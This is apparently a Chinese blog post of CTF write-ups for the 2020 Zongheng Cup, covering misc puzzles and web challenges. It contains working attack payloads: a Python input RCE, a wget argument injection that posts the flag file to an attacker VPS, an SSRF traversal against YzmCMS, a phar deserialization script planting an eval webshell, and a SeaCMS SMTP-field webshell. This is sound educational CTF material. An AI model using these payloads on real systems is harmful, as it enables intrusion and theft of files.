引言
呜,转眼就到 2020 年末了,事情有点杂有点小多,发现有不少想做的事情咕掉了,等后面年终总结再说吧(可能这个也咕了呢 233.
前几天天天有比赛,华为 XCTF 三场顶不住,还有 DASCTF x BJDCTF4th,不过期末了队里没师傅打也没怎么看。
不过周末和队友一起打了个纵横杯,题目还是有点意思的。
平台地址:
https://www.ichunqiu.com/2020zongheng
https://race.ichunqiu.com/2020zongheng
这里写写几道题目的 WriteUp 吧。
(看了大佬们的 WP,顺便复现了几题
Misc
签到
[0146, 0154, 0141, 0147, 0173, 0167, 063, 0154, 0143, 0157, 0155, 0145, 0137, 0164, 0157, 0137, 062, 0157, 0156, 0147, 0137, 0150, 063, 0156, 0147, 0137, 0142, 0145, 061, 0175]
八进制转字符串
flags = [146, 154, 141, 147, 173, 167, 63, 154, 143, 157, 155, 145, 137, 164, 157, 137, 62, 157, 156, 147, 137, 150, 63, 156, 147, 137, 142, 145, 61, 175]
flag = ''
for i in flags:
flag += chr(int(str(i),8))
print(flag)
flag{w3lcome_to_2ong_h3ng_be1}
马赛克
原图:
利用 Depix 工具
https://github.com/beurtschipper/Depix
python depix.py -p mosaic/mosaic.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o mosaic/output.png
得到
再结合 debruinseq_notepad_Windows10_closeAndSpaced.png
这图片人工识别一下,得到 flag。
flag{0123468abd68abd0123}
没想到之前逛 GitHub 看到的工具居然就在 CTF 题目里用到了,妙啊~
My_Secret
LSB have a deep secret
PASS1 is 123456
下载下来两张图片一个音频,音频听了没啥明显问题。
stego.png
拿 StegSolve 看了一下 RGB 里 LSB 都有数据。
用 https://github.com/livz/cloacked-pixel 这个工具来解密 LSB 数据,密码就是题目所给的 123456。
得到密钥为 38d668578a3686ab
。
对 01 blood and wine.wav
用 DeepSound 解密。
得到密钥为 carrier
。
根据图片和题目提示,用 oursecret 解密
拿到 flag
flag{3072d7b4-d3f4-4d8a-bd8b-ac9285df11f2}
babymaze2_beta
(babymaze1 走迷宫,队友打的,不过环境关了,也没源代码,复现不了了就不写了8
这题也是走迷宫,不过每次只给出当前位置附近的 3*3 的环境情况。
附件的话倒是给了个 .so
文件,python 写的,不会逆嘤嘤嘤。
但是真没想到能非预期,学到了学到了。
Python2 input RCE
__import__('os').system('cat flag')
复现成功喵~
BTW,想知道这题真正做的话怎么写(
magic_download
run.sh
#!/bin/bash
ulimit -c 0 # core dump size (kb)
ulimit -t 60 # max cpu using (s/min)
ulimit -u 1500 # max number of process
ulimit -m 512000 # max memory (kb)
cd /home/ctf
stdbuf -oL echo -n "Please enter your IP:"
read IP
echo $IP|grep "^[0-9\.]\{7,15\}$" > /dev/null
if [ $? -ne 0 ]
then
stdbuf -oL echo "Please input a IP!"
else
exec /home/ctf/wget -P /tmp $IP
fi
输入一个 IP,然后 grep 判断是否格式合理。
大师傅有言,换行 \n
再结合 echo
的 -e
参数就能绕过了。
而且这个 -e
参数在 wget 里也是存在的。
Payload:
-e --post-flie=/home/ctf/flag http://vps:port/ \\n127.0.0.1
echo
出来结果就是
--post-flie=/home/ctf/flag http://vps:port/
127.0.0.1
而 grep 就会匹配到最后一行的 127.0.0.1
,于是就认为是合理 IP 了。
(学到了学到了
问卷调查
flag{thanks_for_playing_our_games}
Web
ezcms
YzmCMS
www.zip
源码泄露
/www/common/config/config.php
配置文件
//数据库配置
'db_type' => 'pdo', // 数据库链接扩展 , 支持 pdo | mysqli | mysql
'db_host' => '127.0.0.1', // 服务器地址
'db_name' => 'admin', // 数据库名
'db_user' => 'admin', // 用户名
'db_pwd' => 'admin868', // 密码
'db_port' => 3306, // 端口
'db_prefix' => 'yzm_', // 数据库表前缀
/admin 后台弱口令登录,用户名密码同数据库配置。
admin
admin868
参考 https://www.cnblogs.com/Spec/p/11188198.html
/www/yzmphp/core/class/collection.class.php
这里相对于官方源码去掉了 curl 执行,直接用 file_get_contents
来执行了。
模块管理下的 采集管理,网址配置为 vps 上一个页面,vps 上放 payload。
页面上放上一个 a
标签,构造目录穿越。
先试了试 file
协议,发现会提示 链接地址仅允许HTTP和HTTPS协议!
再查看源码。
url_check
函数
/**
* URL地址检查
* @param string $url 需要检查的URL
* @param string $baseurl 基本URL
* @return string
*/
protected static function url_check($url, $baseurl) {
$urlinfo = parse_url($baseurl);
if(strpos($url, '://') === false) {
if($url[0] == '/'){
$url = $urlinfo['scheme'].'://'.$urlinfo['host'].$url;
}else{
$baseurl = $urlinfo['scheme'].'://'.$urlinfo['host'].(substr($urlinfo['path'], -1, 1) === '/' ? substr($urlinfo['path'], 0, -1) : str_replace('\\', '/', dirname($urlinfo['path']))).'/';
$url = $baseurl.$url;
}
}
if(substr($url, 0, 4) != 'http') showmsg('链接地址仅允许HTTP和HTTPS协议!', 'stop');
return $url;
}
可见只要构造以 http
开头的 url 即可绕过 check。
Payload:
<test><a href="httpss://miaotony.xyz/../../../../../../../../flag">meow</a></test>
测试采集,得到 flag
flag{de3974b7-9c59-4317-b7ab-479b4e058683}
hello_php
XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于PHP、 MySQL的技术开发,全部源码开放。
www.zip
源码泄露
config.php
<?php
error_reporting(0);
$title='XXX信息管理系统';
$commnet='XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP MySQL 的技术开发,全部源码开放。';
$logo_url='./static/default.jpg';
$admin_user='admin';
$admin_pass='admin888';
$footer=<<<EOD
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js" ></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script>
</body>
</html>
EOD;
从中得知用户名密码为
admin
admin888
在 login.php
登录,然后访问 admin.php
,源码如下。
<?php
session_start();
include 'class.php';
if (!@$_SESSION['isadmin'] == True) {
die("<script>alert('请登录');history.go(-1);</script>");
}
if (!isset($_GET['upload']) && !isset($_GET['update'])) {
include_once 'header.php';?>
<nav class="navbar navbar-light bg-light">
<p>
<button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#upload" aria-expanded="false" aria-controls="upload">
上传网站图标
</button>
<button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#update" aria-expanded="false" aria-controls="update">
修改网站标题
</button>
<button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#reset" aria-expanded="false" aria-controls="reset">
恢复出厂设置
</button>
</nav>
</p>
<div id="upload">
<div class="card card-body">
<form action="admin.php?upload" method="POST" enctype='multipart/form-data'>
<input type="file" name='file' value='abs'>
<input type="submit" class="btn btn-primary" value='上传'>
</form>
</div>
</div>
<div id="update">
<div class="card card-body">
垃圾老板就给我这么点钱,叫我怎么帮你做事。
<form action="admin.php?update" method="post">
<input type="text" name="lalal" placeholder='请输入网站标题' class='form-control'>
<input type="submit" class='btn btn-primary'>
</form>
</div>
</div>
<div class="collapse" id="reset">
<div class="card card-body">
删库跑路的艺术就是想删就删,想恢复就恢复。
<a id="resetbtn" class="btn btn-primary">点我重置</a>
</div>
</div>
<script>
$("#resetbtn").click(function(){
xhr = new XMLHttpRequest();
xhr.open('GET', './reset.php', true);
xhr.send();
location.reload();
});</script>
<?php } else if (isset($_GET['upload'])) {
$config->upload_logo();
} else if (isset($_GET['update'])) {
die('<script>alert(垃圾老板就给我这么点钱,叫我怎么帮你做事./);history.go(-1)</script>');
}
echo $footer;
?>
index.php
<?php include_once('header.php');?>
<?php
if(isset($_GET['img'])&&file_exists($_GET['img'])){?>
<img src="<?php echo $_GET['img'];?>" class="d-inline-block align-top" alt="" loading="lazy">
<?php } else {?>
<img src="<?php echo $config->logo_url;?>" class="d-inline-block align-top" alt="" loading="lazy">
<?php }?>
<p><?php echo $config->comment;?></p>
<?php echo $footer;?>
可以看到,如果设置了 img
参数,则会去读取这个文件输出到页面上。
class.php
<?php
include('config.php');
class Config{
public $title;
public $comment;
public $logo_url;
public function __construct(){
global $title;
global $comment;
global $logo_url;
$this->title= $title;
$this->comment = $comment;
$this->logo_url = $logo_url;
}
public function upload_logo(){
if(!empty($_FILES)){
$path='./static/'.md5(time()).'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg');
}
}
public function update_title($title,$comment){
#垃圾老板就给我这么点钱,叫我怎么帮你做事。
}
public function __destruct(){
$file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php');
$file = preg_replace('/\$title=\'.*?\';/', "\$title='$this->title';", $file);
$file = preg_replace('/\$comment=\'.*?\';/', "\$commnet='$this->comment';", $file);
file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file);
}
}
$config=new Config;
?>
__destruct
析构函数里会将配置保存到 config.php
文件中,覆盖掉当前配置。
于是就 用 phar 打反序列化
根据上面的源码写 payload
<?php
class Config{
public $title;
public $comment;
public $logo_url;
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Config();
$o->title="';eval(\$_POST['a']);#";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
生成 phar 后在 admin.php
上传。
而后访问 index.php?img=phar://./static/xxxxxxxx.jpg/test.txt
触发反序列化。
其中的 xxxxxxxx
可以通过 header 返回的 Date
转换为时间戳,再取 md5 来获得。
例如:
var_dump(md5("1609158265"));
# string(32) "b6e6c77a88da0935b34610e53081acb6"
最后在 config.php
用一句话木马拿 flag。
BTW, 利用条件:
① phar 文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists()
,fopen()
,file_get_contents()
,file()
③ 文件操作函数的参数可控,且:
、/
、phar
等特殊字符没有被过滤References:
大家一起来审代码
小路学会了渗透基础,突然有一天特别无聊想要渗透,她请教了某大佬,大佬丢给了她一个网站地址和网站源码(www.zip),然后,然后,小路就开始了苦逼的代码审计之旅,越是审越想和周公约会,快来救救她吧!!!
www.zip
源码泄露
/adm1n
后台弱口令登录
admin
admin
海洋CMS
有一堆洞(
发现 GitHub 上有人提了 后台 getshell 的 issue:
https://github.com/ciweiin/seacms/issues/11
在 邮件服务器设置这里把 SMTP 地址设为 ${eval($_POST[cmd])}
而后在 /data/admin/smtp.php
路径下执行木马拿 flag 即可。
小结
学到了不少喵~
BTW,这比赛到最后大家疯狂交 flag,太卷了太卷了。
就先这样吧,这几天要大降温了,注意保暖w
(溜了溜了喵